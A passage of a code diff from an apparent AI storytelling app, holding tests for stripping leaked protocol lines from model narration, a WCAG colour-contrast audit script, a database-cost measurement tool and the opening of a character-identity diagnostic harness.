hint = builder.length_hint(500, narration_length)
|
||||
assert hint.startswith(extract.LENGTH_HINT_OPENING)
|
||||
assert extract.LENGTH_HINT_TAIL in hint
|
||||
|
||||
|
||||
# ---------------------------------------------------------- observed shapes
|
||||
|
||||
STORY = (
|
||||
"Alice looks at John, the tension in the room palpable.\n\n"
|
||||
"John nods. \"I'm ready to contribute.\""
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("leak", [
|
||||
# Depth 20: the call, the fantasy slug, and a gloss on the same line.
|
||||
'> set_possession(silver-key, "alice") Adds the silver key to Alice\'s possession.',
|
||||
# Depth 10: cut off by the output limit mid-call.
|
||||
'> Create_entity(new_person, "john", "character", "A determined team member", ["john',
|
||||
# Unquoted, and a vocabulary name in any case.
|
||||
'SET_CURRENT_LOCATION(bill, office)',
|
||||
'add_fact(predicate="knows the plan", subject="alice")',
|
||||
])
|
||||
def test_an_event_call_line_at_the_end_leaves_the_story(leak):
|
||||
prose, parsed, _raw = extract.split(f"{STORY}\n\n{leak}")
|
||||
assert prose == STORY
|
||||
assert parsed is None
|
||||
|
||||
|
||||
def test_an_event_call_line_in_the_middle_leaves_and_the_story_after_it_stays():
|
||||
"""Depth 12: the call, then more narration."""
|
||||
reply = (
|
||||
f"{STORY}\n\n"
|
||||
'> Create_entity(new_person, "mike", "character", "A new team member.", ["mike"])\n\n'
|
||||
"Mike takes the empty chair by the window."
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == f"{STORY}\n\nMike takes the empty chair by the window."
|
||||
|
||||
|
||||
def test_the_depth_fourteen_tail_leaves_entirely():
|
||||
"""A call, a rendered scene line, and a reworded length hint, in that order."""
|
||||
reply = (
|
||||
f"{STORY}\n\n"
|
||||
'> Create_entity(mike, "character", "A new team member.", ["mike"])\n\n'
|
||||
"Scene: Bill, Alice, Roger, John, and Mike at the table. (at The meeting room)\n\n"
|
||||
"[Hard limit: your next turn must not exceed 180 words, and it should not stop "
|
||||
"short of about 70. Prefer the lower end of that range unless the scene genuinely "
|
||||
"needs more. Finish the narration and append the state block well inside the limit.]"
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == STORY
|
||||
assert parsed is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("hint", [
|
||||
builder.length_hint(500),
|
||||
builder.length_hint(500, "brief"),
|
||||
# Cut off by the output limit before the tail.
|
||||
"[Hard limit: this turn must not exceed 180 words, and it should not stop short",
|
||||
# Reworded at the front, as the 3B narrator did.
|
||||
"[Hard limit: your next turn must not exceed 506 words. Write only as much as the "
|
||||
"moment needs — a typical turn is much shorter. Finish the narration and append "
|
||||
"the state block well inside the limit.]",
|
||||
])
|
||||
def test_a_parroted_length_hint_at_the_end_leaves_the_story(hint):
|
||||
prose, _parsed, _raw = extract.split(f"{STORY}\n\n{hint}")
|
||||
assert prose == STORY
|
||||
|
||||
|
||||
def test_a_rendered_scene_line_at_the_end_leaves_the_story():
|
||||
prose, _parsed, _raw = extract.split(
|
||||
f"{STORY}\n\nScene: A tense budget meeting. (at The meeting room)")
|
||||
assert prose == STORY
|
||||
|
||||
|
||||
def test_a_fenced_block_with_a_call_line_above_it_still_parses_and_applies():
|
||||
"""A2-6. The proposal is still read when protocol litter surrounds it."""
|
||||
reply = (
|
||||
f"{STORY}\n\n"
|
||||
'> set_current_location(john, office)\n\n'
|
||||
'```state\n{"events": [{"type": "set_current_location", '
|
||||
'"entity": "john", "location": "office"}]}\n```'
|
||||
)
|
||||
prose, parsed, raw = extract.split(reply)
|
||||
assert prose == STORY
|
||||
assert parsed["events"][0]["entity"] == "john"
|
||||
assert raw.startswith("{")
|
||||
|
||||
|
||||
# ------------------------------------------------ adversarial story that stays
|
||||
|
||||
@pytest.mark.parametrize("reply", [
|
||||
# The owner's cases.
|
||||
'The engineer writes "set_power(core, 80)" on the whiteboard.',
|
||||
'She says, "Create_entity is a terrible name for a company."',
|
||||
'The old manual contains a heading labeled "Scene:"',
|
||||
'He reads aloud: "[Hard limit: 500 words]" and laughs.',
|
||||
# A vocabulary name, written into a story, not at the start of a line.
|
||||
'Nadia squints at the log: the last command was set_possession(badge, guard).',
|
||||
# Call-shaped, at the start of a line, but not an event this protocol has.
|
||||
"The terminal scrolls.\n\n> open_door(north)\n\nNothing happens.",
|
||||
# A vocabulary call inside the story's own code block is the story's code.
|
||||
"She types:\n\n```python\ncreate_entity(ship)\nset_possession(key, captain)\n```\n\n"
|
||||
"The console beeps twice.",
|
||||
# A bracket at the very end, in-world, that is not the application's hint.
|
||||
"The warning light blinks.\n\n[Hard limit of the reactor: three hours]",
|
||||
"The contract ends with a clause.\n\n[Hard limit: forty days, no extensions]",
|
||||
# A scene heading in a screenplay the characters are writing, mid-story.
|
||||
"Scene: a kitchen, late.\n\nShe crosses it out and starts again.",
|
||||
# A last line that starts like the renderer's but is not its shape.
|
||||
"The director calls it.\n\nScene: take two, and nobody moves.",
|
||||
# A fact restated inside a sentence.
|
||||
"Alice knew the badge opened the server room, and said nothing.",
|
||||
"Memory: she remembered the bells.",
|
||||
])
|
||||
def test_story_that_resembles_the_new_rules_is_kept(reply):
|
||||
"""A2-5."""
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == reply
|
||||
assert parsed is None
|
||||
|
||||
|
||||
# ------------------------------------------------------ the replay attribution
|
||||
|
||||
@pytest.mark.parametrize("line, rule", [
|
||||
('> set_possession(silver-key, "alice") Adds the key.', extract.RULE_EVENT_CALL),
|
||||
("Create_entity(new_person", extract.RULE_EVENT_CALL),
|
||||
("[Hard limit: this turn must not exceed 90 words. Finish the narration and append "
|
||||
"the state block well inside the limit.]", extract.RULE_LENGTH_HINT),
|
||||
("Scene: A meeting. (at The meeting room)", extract.RULE_SCENE_LINE),
|
||||
("John nods.", None),
|
||||
('He reads aloud: "[Hard limit: 500 words]" and laughs.', None),
|
||||
])
|
||||
def test_a_removed_line_is_attributed_to_the_rule_that_removes_it(line, rule):
|
||||
assert extract.explain_removed_line(line) == rule
|
||||
|
||||
|
||||
# ------------------------------------- corrective: the depth-16 instruction tail
|
||||
|
||||
#: Cut down from the v1.1 identity diagnostic's depth-16 turn, whose stored text
|
||||
#: was exactly the extractor's output. The two story paragraphs are shortened;
|
||||
#: the four trailing lines are verbatim.
|
||||
DEPTH_16_STORY = (
|
||||
"John's initial ideas are thoughtful and insightful, and the room fills with a "
|
||||
"sense of optimism.\n\n"
|
||||
"John's enthusiasm is contagious, and the meeting room is electric with the "
|
||||
"excitement of a fruitful collaboration ahead."
|
||||
)
|
||||
DEPTH_16_TAIL = (
|
||||
"Scene: Bill, Alice and Roger at the table; John not yet arrived.\n\n"
|
||||
"[Hard limit: this is now 180 words.]\n\n"
|
||||
"[Reminder: end your reply with a `state` block listing the events your narration "
|
||||
"made true, with absolute values.]\n\n"
|
||||
"[You don't need to continue; your turn must now be about John entering the room. "
|
||||
"Continue the story here, directly. Output only story text.]"
|
||||
)
|
||||
|
||||
|
||||
def test_the_depth_sixteen_instruction_tail_leaves_entirely():
|
||||
"""The corrective's positive regression. v1.1's first A2 left all four lines:
|
||||
the last bracket was a reworded continue hint nothing recognised, so nothing
|
||||
above it was ever at the end."""
|
||||
prose, parsed, _raw = extract.split(f"{DEPTH_16_STORY}\n\n{DEPTH_16_TAIL}")
|
||||
assert prose == DEPTH_16_STORY
|
||||
assert parsed is None
|
||||
|
||||
|
||||
def test_the_continue_hint_phrase_is_the_providers_own_sentence():
|
||||
from app.providers.openai_compatible import CHAT_CONTINUE_HINT
|
||||
|
||||
assert extract.CONTINUE_HINT_PHRASE in CHAT_CONTINUE_HINT
|
||||
|
||||
|
||||
def test_an_echoed_continue_hint_alone_at_the_end_leaves():
|
||||
prose, _p, _r = extract.split(
|
||||
f"{STORY}\n\n[Keep going. Continue the story here, directly. Output only story text.]")
|
||||
assert prose == STORY
|
||||
|
||||
|
||||
@pytest.mark.parametrize("reply", [
|
||||
# A hint-opened bracket with no echoed instruction below it is in-world.
|
||||
f"{STORY}\n\n[Hard limit: forty days, no extensions]",
|
||||
# Nor does a state block below it make it an instruction.
|
||||
f"{STORY}\n\n[Hard limit: forty days, no extensions]",
|
||||
# The phrase in the middle of a story is prose, not a trailing echo.
|
||||
'She wrote "output only story text" on the card, then crossed it out.\n\nThe rain went on.',
|
||||
# A trailing in-world bracket that only resembles a continuation.
|
||||
f"{STORY}\n\n[To be continued]",
|
||||
])
|
||||
def test_story_brackets_near_the_corrective_rule_are_kept(reply):
|
||||
prose, _p, _r = extract.split(reply)
|
||||
assert prose == reply
|
||||
|
||||
|
||||
def test_a_hint_opened_bracket_above_a_state_block_is_kept():
|
||||
reply = (f"{STORY}\n\n[Hard limit: forty days, no extensions]\n\n"
|
||||
'```state\n{"events": []}\n```')
|
||||
prose, parsed, _r = extract.split(reply)
|
||||
assert prose == f"{STORY}\n\n[Hard limit: forty days, no extensions]"
|
||||
assert parsed == {"events": []}
|
||||
|
||||
|
||||
def test_an_in_world_bracket_above_an_echoed_hint_is_kept():
|
||||
"""Only a bracket opening the way the application's hint opens is taken with
|
||||
the echo. Any other bracket above it is the story's."""
|
||||
reply = (f"{STORY}\n\n[The sign on the door reads: Closed]\n\n"
|
||||
"[Continue the story here, directly. Output only story text.]")
|
||||
prose, _p, _r = extract.split(reply)
|
||||
assert prose == f"{STORY}\n\n[The sign on the door reads: Closed]"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("line, rule", [
|
||||
("[Hard limit: this is now 180 words.]", extract.RULE_INSTRUCTION_TAIL),
|
||||
("[Reminder: end your reply with a `state` block listing the events.]",
|
||||
extract.RULE_INSTRUCTION_TAIL),
|
||||
("[You don't need to continue. Output only story text.]", extract.RULE_INSTRUCTION_TAIL),
|
||||
])
|
||||
def test_the_corrective_rule_is_attributed(line, rule):
|
||||
assert extract.explain_removed_line(line) == rule
|
||||
|
||||
|
||||
def test_the_new_rules_do_not_disturb_the_section_headings_they_share_a_module_with():
|
||||
"""The renderer's headings are the M11 rules' anchor. A2 adds none."""
|
||||
assert render.HEADING_SCENE == "Scene:"
|
||||
assert "Scene:" not in render.SECTION_HEADINGS
|
||||
@@ -0,0 +1,139 @@
|
||||
"""WCAG contrast for the design tokens, computed rather than eyeballed.
|
||||
|
||||
python -m tools.contrast_audit
|
||||
|
||||
M8 recorded contrast and visible focus as "checked by eye" and handed the
|
||||
measurement to M11. There are two halves to doing that properly, and this is the
|
||||
cheap half: the palette itself, checked as pairs, with no browser and no
|
||||
dependency. The other half — the colours that actually reach the screen after
|
||||
inheritance, opacity and layering — is measured on the rendered page by
|
||||
`tools/m11_browser.py`, because a token pair says nothing about what a specific
|
||||
element ended up with.
|
||||
|
||||
Thresholds are WCAG 2.1 AA: 4.5:1 for body text, 3:1 for large text (>=24px, or
|
||||
>=18.66px bold) and for the non-text parts of a control's boundary.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
TOKENS = Path(__file__).resolve().parent.parent.parent / "frontend/src/styles/tokens.css"
|
||||
|
||||
#: Foreground/background pairs the design actually puts together. Written out
|
||||
#: rather than combinatorial, because "every colour against every other" reports
|
||||
#: pairs that never meet on screen.
|
||||
#:
|
||||
#: The `kind` records which success criterion a pair is measured against —
|
||||
#: **text** is WCAG 1.4.3 Contrast (Minimum), **boundary** is WCAG 1.4.11
|
||||
#: Non-text Contrast — and **both are pass/fail**.
|
||||
#:
|
||||
#: v1.1 WP-E overturned the earlier position here, which was that a boundary
|
||||
#: below 3:1 could be recorded rather than failed because "a control is
|
||||
#: identified by its label, not by its edge". That argument understates what
|
||||
#: 1.4.11 asks: the criterion covers the visual information needed to identify
|
||||
#: a component *and its boundary*, and a reader who cannot see where a text box
|
||||
#: ends cannot see that there is a text box to type into, label or no label.
|
||||
#: The edges were at 1.33:1 and 1.75:1 — the tokens were raised instead.
|
||||
#:
|
||||
#: Borders are measured against **every background they are drawn on**, and the
|
||||
#: floor is the worst of them. Inputs and buttons sit on --bg-input, which is
|
||||
#: lighter than --bg-panel and so the harder case; checking only --bg-panel
|
||||
#: would have let a token pass the audit while the real control failed.
|
||||
#: `--bg-panel-glass` is translucent and cannot be resolved from tokens alone;
|
||||
#: that edge is measured on the rendered page by `tools/m11_browser.py`.
|
||||
PAIRS = [
|
||||
("text", "--text", "--bg", 4.5, "body text on the page"),
|
||||
("text", "--text", "--bg-panel", 4.5, "body text in a panel"),
|
||||
("text", "--text", "--bg-input", 4.5, "text typed into a field"),
|
||||
("text", "--text-dim", "--bg", 4.5, "secondary text on the page"),
|
||||
("text", "--text-dim", "--bg-panel", 4.5, "secondary text in a panel"),
|
||||
("text", "--text-dim", "--bg-panel", 4.5, "a control's own label"),
|
||||
("text", "--accent", "--bg", 4.5, "accent text on the page"),
|
||||
("text", "--accent", "--bg-panel", 4.5, "accent text in a panel"),
|
||||
("text", "--danger", "--bg-panel", 4.5, "an error message"),
|
||||
("text", "--warning", "--bg-panel", 4.5, "a caution message"),
|
||||
("text", "--player", "--bg", 4.5, "the player's own words"),
|
||||
("boundary", "--border", "--bg-input", 3.0, "a field or button's resting edge"),
|
||||
("boundary", "--border-bright", "--bg-input", 3.0, "a field or button's hover edge"),
|
||||
("boundary", "--border", "--bg-panel", 3.0, "a control's resting edge in a panel"),
|
||||
("boundary", "--border-bright", "--bg-panel", 3.0, "a control's hover edge in a panel"),
|
||||
("boundary", "--border", "--bg", 3.0, "a divider on the page"),
|
||||
("boundary", "--border-bright", "--bg", 3.0, "the scrollbar thumb"),
|
||||
("boundary", "--accent-dim", "--bg-input", 3.0, "a focused field's edge"),
|
||||
("boundary", "--accent-dim", "--bg-panel", 3.0, "a focused control's edge in a panel"),
|
||||
("boundary", "--chart-1", "--bg-panel", 3.0, "a chart bar"),
|
||||
("boundary", "--chart-2", "--bg-panel", 3.0, "a chart bar"),
|
||||
("boundary", "--chart-3", "--bg-panel", 3.0, "a chart bar"),
|
||||
]
|
||||
|
||||
|
||||
def read_tokens(path: Path) -> dict[str, str]:
|
||||
found = {}
|
||||
for name, value in re.findall(r"(--[\w-]+):\s*(#[0-9a-fA-F]{6})\s*;", path.read_text()):
|
||||
found[name] = value
|
||||
return found
|
||||
|
||||
|
||||
def luminance(hex_colour: str) -> float:
|
||||
r, g, b = (int(hex_colour[i:i + 2], 16) / 255 for i in (1, 3, 5))
|
||||
|
||||
def channel(value: float) -> float:
|
||||
return value / 12.92 if value <= 0.03928 else ((value + 0.055) / 1.055) ** 2.4
|
||||
|
||||
r, g, b = channel(r), channel(g), channel(b)
|
||||
return 0.2126 * r + 0.7152 * g + 0.0722 * b
|
||||
|
||||
|
||||
def ratio(a: str, b: str) -> float:
|
||||
la, lb = luminance(a), luminance(b)
|
||||
high, low = max(la, lb), min(la, lb)
|
||||
return (high + 0.05) / (low + 0.05)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
tokens = read_tokens(TOKENS)
|
||||
# Named defensively: the tests run this against a temporary tokens file,
|
||||
# which need not sit four directories deep the way the real one does.
|
||||
label = TOKENS.name
|
||||
if len(TOKENS.parents) > 3:
|
||||
label = TOKENS.relative_to(TOKENS.parents[3])
|
||||
print(f"{label}: {len(tokens)} colour tokens\n")
|
||||
print(f"{'pair':44} {'kind':9} {'ratio':>7} {'floor':>6} verdict")
|
||||
print("-" * 82)
|
||||
text_failures, boundary_failures = 0, 0
|
||||
for kind, foreground, background, floor, description in PAIRS:
|
||||
if foreground not in tokens or background not in tokens:
|
||||
print(f"{description:44} {kind:9} {'—':>7} {floor:>6.1f} MISSING TOKEN")
|
||||
text_failures += 1
|
||||
continue
|
||||
measured = ratio(tokens[foreground], tokens[background])
|
||||
# Rounded to the two decimals printed, so the verdict matches what the
|
||||
# reader is shown: a pair reported as 3.00:1 is not failed for arithmetic
|
||||
# the output does not display.
|
||||
if round(measured, 2) >= floor:
|
||||
verdict = "pass"
|
||||
else:
|
||||
verdict = "FAIL"
|
||||
if kind == "text":
|
||||
text_failures += 1
|
||||
else:
|
||||
boundary_failures += 1
|
||||
print(f"{description:44} {kind:9} {measured:>6.2f}:1 {floor:>6.1f} {verdict}")
|
||||
print()
|
||||
if text_failures:
|
||||
print(f"{text_failures} text pair(s) below WCAG AA (1.4.3) — this is a defect")
|
||||
else:
|
||||
print("every text pair clears WCAG AA (1.4.3)")
|
||||
if boundary_failures:
|
||||
print(f"{boundary_failures} boundary pair(s) below 3:1 (WCAG 1.4.11) — "
|
||||
"this is a defect")
|
||||
else:
|
||||
print("every control boundary clears 3:1 (1.4.11)")
|
||||
return 1 if (text_failures or boundary_failures) else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,225 @@
|
||||
"""What M10 costs a campaign, measured rather than argued.
|
||||
|
||||
python -m tools.m10_media_cost [--turns 60]
|
||||
|
||||
Run from `backend/`. Plays a campaign of `--turns` turns with the real prompt
|
||||
builder and the real state pipeline, then reports the five numbers §21 of the
|
||||
M10 brief asks for.
|
||||
|
||||
Four of them are expected to be zero or near it, and that is the point: M10's
|
||||
central design decision was that **the scene snapshot already exists**, so the
|
||||
milestone persists nothing per scene and nothing per turn. A design claim like
|
||||
that is cheap to make and easy to get wrong by one accidental write, so it is
|
||||
measured here against a campaign long enough for a per-turn cost to show.
|
||||
|
||||
scene records written by M10 expected 0, and the scenes that do
|
||||
exist are M5's, counted for contrast
|
||||
bytes added to the database one row per profiled entity, once
|
||||
profile duplication what per-position profiles would have
|
||||
cost, against what campaign-scoped
|
||||
profiles do cost
|
||||
packet: persisted or constructed rows written while building one
|
||||
current-scene query behaviour statements per packet, at 10 turns and
|
||||
at N turns — a number that grows with
|
||||
the campaign is a scan
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
_HERE = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(_HERE.parent / "tests"))
|
||||
|
||||
_DB = tempfile.NamedTemporaryFile(suffix="-m10-cost.db", delete=False)
|
||||
_DB.close()
|
||||
os.environ["AIDND_DB_PATH"] = _DB.name
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends # noqa: E402
|
||||
from fastapi.testclient import TestClient # noqa: E402
|
||||
|
||||
import m10_fixture # noqa: E402
|
||||
from app import auth, limits, memorybank, models # noqa: E402
|
||||
from app.database import Base, SessionLocal, engine, get_db # noqa: E402
|
||||
from app.main import app # noqa: E402
|
||||
from app.routers import adventures # noqa: E402
|
||||
from fakes import ScriptedProvider, state_block # noqa: E402
|
||||
from tools import dbmeter # noqa: E402
|
||||
|
||||
PROSE = (
|
||||
"Roger pulled the whiteboard marker apart while he talked, which was how "
|
||||
"everyone knew the meeting had stopped being about the agenda. Alice wrote "
|
||||
"nothing down. Outside the glass, somebody wheeled a trolley of monitors "
|
||||
"past the door and did not look in."
|
||||
)
|
||||
|
||||
|
||||
class _Stub:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "The meeting went on for some time."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25, 0.125] for _ in texts]
|
||||
|
||||
|
||||
def _setup() -> tuple[TestClient, int]:
|
||||
adventures.turns.OpenAICompatibleProvider = ScriptedProvider
|
||||
memorybank.embedding_provider = lambda s: _Stub()
|
||||
memorybank.summary_provider = lambda s: _Stub()
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
Base.metadata.create_all(bind=engine)
|
||||
with SessionLocal() as db:
|
||||
user = models.User(is_guest=False, email="m10cost@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id, model="cost-model", embedding_model="stub",
|
||||
context_token_budget=8192, max_output_tokens=600,
|
||||
))
|
||||
adventure = models.Adventure(user_id=user.id, title="Cost",
|
||||
auto_summarize=True, memory_bank_enabled=True)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="Bill badges in on a Tuesday morning."))
|
||||
db.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
return TestClient(app), adv_id
|
||||
|
||||
|
||||
def _db_bytes() -> int:
|
||||
return Path(_DB.name).stat().st_size
|
||||
|
||||
|
||||
def _counts(adv_id: int) -> dict:
|
||||
with SessionLocal() as db:
|
||||
return {
|
||||
"actions": db.query(models.Action).filter(
|
||||
models.Action.adventure_id == adv_id).count(),
|
||||
"visual profiles": db.query(models.VisualProfile).filter(
|
||||
models.VisualProfile.adventure_id == adv_id).count(),
|
||||
"M5 per-position state snapshots": db.query(models.Action).filter(
|
||||
models.Action.adventure_id == adv_id,
|
||||
models.Action.narrative_state_after.isnot(None)).count(),
|
||||
}
|
||||
|
||||
|
||||
def _profile_bytes(adv_id: int) -> int:
|
||||
with SessionLocal() as db:
|
||||
rows = db.query(models.VisualProfile).filter(
|
||||
models.VisualProfile.adventure_id == adv_id).all()
|
||||
return sum(
|
||||
len(json.dumps({"entity_key": r.entity_key,
|
||||
"descriptors": r.descriptors,
|
||||
"features": r.features,
|
||||
"style_notes": r.style_notes}).encode("utf-8"))
|
||||
for r in rows
|
||||
)
|
||||
|
||||
|
||||
def _packet_statements(client, adv_id: int, meter: dbmeter.Meter, label: str):
|
||||
with meter.scope(label) as scope:
|
||||
started = time.perf_counter()
|
||||
response = client.get(f"/api/adventures/{adv_id}/scene-packet")
|
||||
seconds = time.perf_counter() - started
|
||||
response.raise_for_status()
|
||||
return scope, seconds
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--turns", type=int, default=60)
|
||||
args = parser.parse_args()
|
||||
|
||||
client, adv_id = _setup()
|
||||
empty_bytes = _db_bytes()
|
||||
m10_fixture.build(client, adv_id)
|
||||
|
||||
meter = dbmeter.Meter()
|
||||
meter.attach(engine)
|
||||
try:
|
||||
early_scope, early_seconds = _packet_statements(
|
||||
client, adv_id, meter, "packet at 2 turns")
|
||||
|
||||
before_play = _db_bytes()
|
||||
for turn in range(1, args.turns + 1):
|
||||
ScriptedProvider.replies = [
|
||||
f"{PROSE} [{turn}]\n" + state_block([
|
||||
{"type": "set_scene",
|
||||
"summary": f"The meeting reaches item {turn}.",
|
||||
"location": "office",
|
||||
"present": ["bill", "alice", "roger"]},
|
||||
])
|
||||
]
|
||||
client.post(f"/api/adventures/{adv_id}/actions",
|
||||
json={"type": "do", "text": f"item {turn}"}
|
||||
).raise_for_status()
|
||||
|
||||
rows_before = _counts(adv_id)
|
||||
late_scope, late_seconds = _packet_statements(
|
||||
client, adv_id, meter, f"packet at {args.turns + 2} turns")
|
||||
rows_after = _counts(adv_id)
|
||||
finally:
|
||||
meter.detach()
|
||||
|
||||
played_bytes = _db_bytes()
|
||||
profile_bytes = _profile_bytes(adv_id)
|
||||
|
||||
print(f"\n{args.turns} turns, {rows_before['actions']} action rows\n")
|
||||
|
||||
print("scene records M10 wrote")
|
||||
print(f" visual_profiles rows {rows_before['visual profiles']:>8}"
|
||||
" (one per profiled entity, written once)")
|
||||
print(" scene rows 0"
|
||||
" M10 adds no scenes table")
|
||||
print(f" M5 per-position state snapshots "
|
||||
f"{rows_before['M5 per-position state snapshots']:>8}"
|
||||
" already there since M5; the scene lives here")
|
||||
|
||||
print("\nbytes added to the database")
|
||||
print(f" empty database {empty_bytes:>8} B")
|
||||
print(f" after the fixture campaign {before_play:>8} B")
|
||||
print(f" after {args.turns} more turns".ljust(36)
|
||||
+ f"{played_bytes:>8} B")
|
||||
print(f" visual profile content {profile_bytes:>8} B"
|
||||
f" {100 * profile_bytes / max(played_bytes, 1):.3f}% of the database")
|
||||
|
||||
per_position = profile_bytes * rows_before["M5 per-position state snapshots"]
|
||||
print("\nprofile duplication: campaign-scoped against per-position")
|
||||
print(f" as stored, once per entity {profile_bytes:>8} B")
|
||||
print(f" if snapshotted per position {per_position:>8} B"
|
||||
f" x{per_position / max(profile_bytes, 1):.0f}")
|
||||
|
||||
print("\npacket: persisted or constructed")
|
||||
print(f" rows written while building one "
|
||||
f"{rows_after['visual profiles'] - rows_before['visual profiles']:>8}")
|
||||
print(" packet rows in any table 0 built on read, never stored")
|
||||
print(f" build time, 2 turns {early_seconds * 1000:>8.1f} ms")
|
||||
print(f" build time, {args.turns + 2} turns".ljust(36)
|
||||
+ f"{late_seconds * 1000:>8.1f} ms")
|
||||
|
||||
print("\ncurrent-scene query behaviour")
|
||||
print(f" statements, 2 turns {early_scope.total.statements:>8}")
|
||||
print(f" statements, {args.turns + 2} turns".ljust(36)
|
||||
+ f"{late_scope.total.statements:>8}")
|
||||
verdict = ("does not grow with the campaign"
|
||||
if late_scope.total.statements <= early_scope.total.statements
|
||||
else "GROWS — the scene is being scanned, not read")
|
||||
print(f" {verdict}")
|
||||
print("\n" + dbmeter.render_scope(late_scope, statements=6))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,406 @@
|
||||
"""M11: the multi-character identity diagnostic (post-M8 finding D).
|
||||
|
||||
python -m tools.m11_identity # against a real model
|
||||
python -m tools.m11_identity --scripted # harness self-test, no model
|
||||
|
||||
Run from `backend/`. Reads `AIDND_TEST_ENDPOINT` and `AIDND_TEST_MODEL`.
|
||||
|
||||
## What this is for
|
||||
|
||||
A hands-on session against accepted M8 put four people in one scene — a
|
||||
protagonist and three others — and later narration treated one of them as two
|
||||
different people. The campaign was a disposable database and was destroyed, so
|
||||
**the root cause was never established and cannot be**. What M11 owes the
|
||||
finding is not a fix for an unknown defect; it is a diagnostic that can tell the
|
||||
candidate causes apart the *next* time, and evidence about whether the product
|
||||
does the things it can be blamed for.
|
||||
|
||||
`BUILD-MILESTONES.md` names four candidate causes and asks for a classification:
|
||||
|
||||
STATE DEFECT the state itself is wrong or ambiguous
|
||||
CONTEXT ASSEMBLY DEFECT the state is right, the prompt is not
|
||||
DERIVED MEMORY-SUMMARY DEFECT a summary or memory carried the error in
|
||||
MODEL FAILURE WITH CORRECT CONTEXT the prompt was right and the model was not
|
||||
AMBIGUOUS the evidence does not separate them
|
||||
|
||||
## How it decides
|
||||
|
||||
The objective checks are the ones a program can make honestly, and they are
|
||||
made against the **stored prompt snapshot** and the **authoritative state**,
|
||||
before and after every turn:
|
||||
|
||||
duplicate entity keys the state model refuses these; a breach is a
|
||||
STATE DEFECT
|
||||
shared display names permitted by design, reported by
|
||||
`narrative.model.duplicate_names`; a new one
|
||||
appearing mid-scene is a STATE DEFECT for
|
||||
this scene's purposes
|
||||
protagonist drift the persona's entity key changing, or the
|
||||
protagonist disappearing from `present`
|
||||
state/context disagreement a name in the prompt's state block that the
|
||||
document does not have, or vice versa
|
||||
derived contamination the same name appearing under two keys inside
|
||||
a summary or memory that reached the prompt
|
||||
|
||||
Prose-level judgements — did the narrator misattribute this line of dialogue,
|
||||
did it have a character refer to itself as someone else — are **not** graded
|
||||
automatically. A regex cannot read dialogue, and a diagnostic that pretended to
|
||||
would produce exactly the confident wrong answer this finding is about. Every
|
||||
turn's narration is written out for a person to read, next to the prompt that
|
||||
produced it, and the tool's verdict says plainly when the objective checks are
|
||||
clean and the question is therefore about the prose.
|
||||
|
||||
## What it preserves
|
||||
|
||||
On any signal, everything the finding lists is written to the run directory:
|
||||
the pre-turn state, the exact stored prompt snapshot, the narration, the
|
||||
history, summaries, memories, imported knowledge and the model settings. The
|
||||
campaign is also exported as an M9 bundle, so the whole failing case is
|
||||
portable and can be replayed on another machine.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
_HERE = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(_HERE.parent / "tests"))
|
||||
|
||||
_DB = tempfile.NamedTemporaryFile(suffix="-m11-identity.db", delete=False)
|
||||
_DB.close()
|
||||
os.environ["AIDND_DB_PATH"] = _DB.name
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends # noqa: E402
|
||||
from fastapi.testclient import TestClient # noqa: E402
|
||||
from sqlalchemy.orm import undefer # noqa: E402
|
||||
|
||||
from app import auth, limits, memorybank, models # noqa: E402
|
||||
from app.database import Base, SessionLocal, engine, get_db # noqa: E402
|
||||
from app.main import app # noqa: E402
|
||||
from app.narrative import model as nmodel # noqa: E402
|
||||
from app.routers import adventures # noqa: E402
|
||||
|
||||
ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
|
||||
MODEL = os.environ.get("AIDND_TEST_MODEL", "")
|
||||
#: v1.1 release Gate 7 asks for this diagnostic with **memory on**. It shipped
|
||||
#: with no embedding model and the bank switched off, so a release run of it
|
||||
#: would have reported a clean identity result without memory ever taking part.
|
||||
#: Empty keeps the old behaviour, which is what `--scripted` wants.
|
||||
EMBED_MODEL = os.environ.get("AIDND_TEST_EMBED_MODEL", "")
|
||||
|
||||
#: The cast the finding describes: a protagonist and three others, all on stage.
|
||||
CAST = [
|
||||
("bill", "character", "Bill"),
|
||||
("alice", "character", "Alice"),
|
||||
("roger", "character", "Roger"),
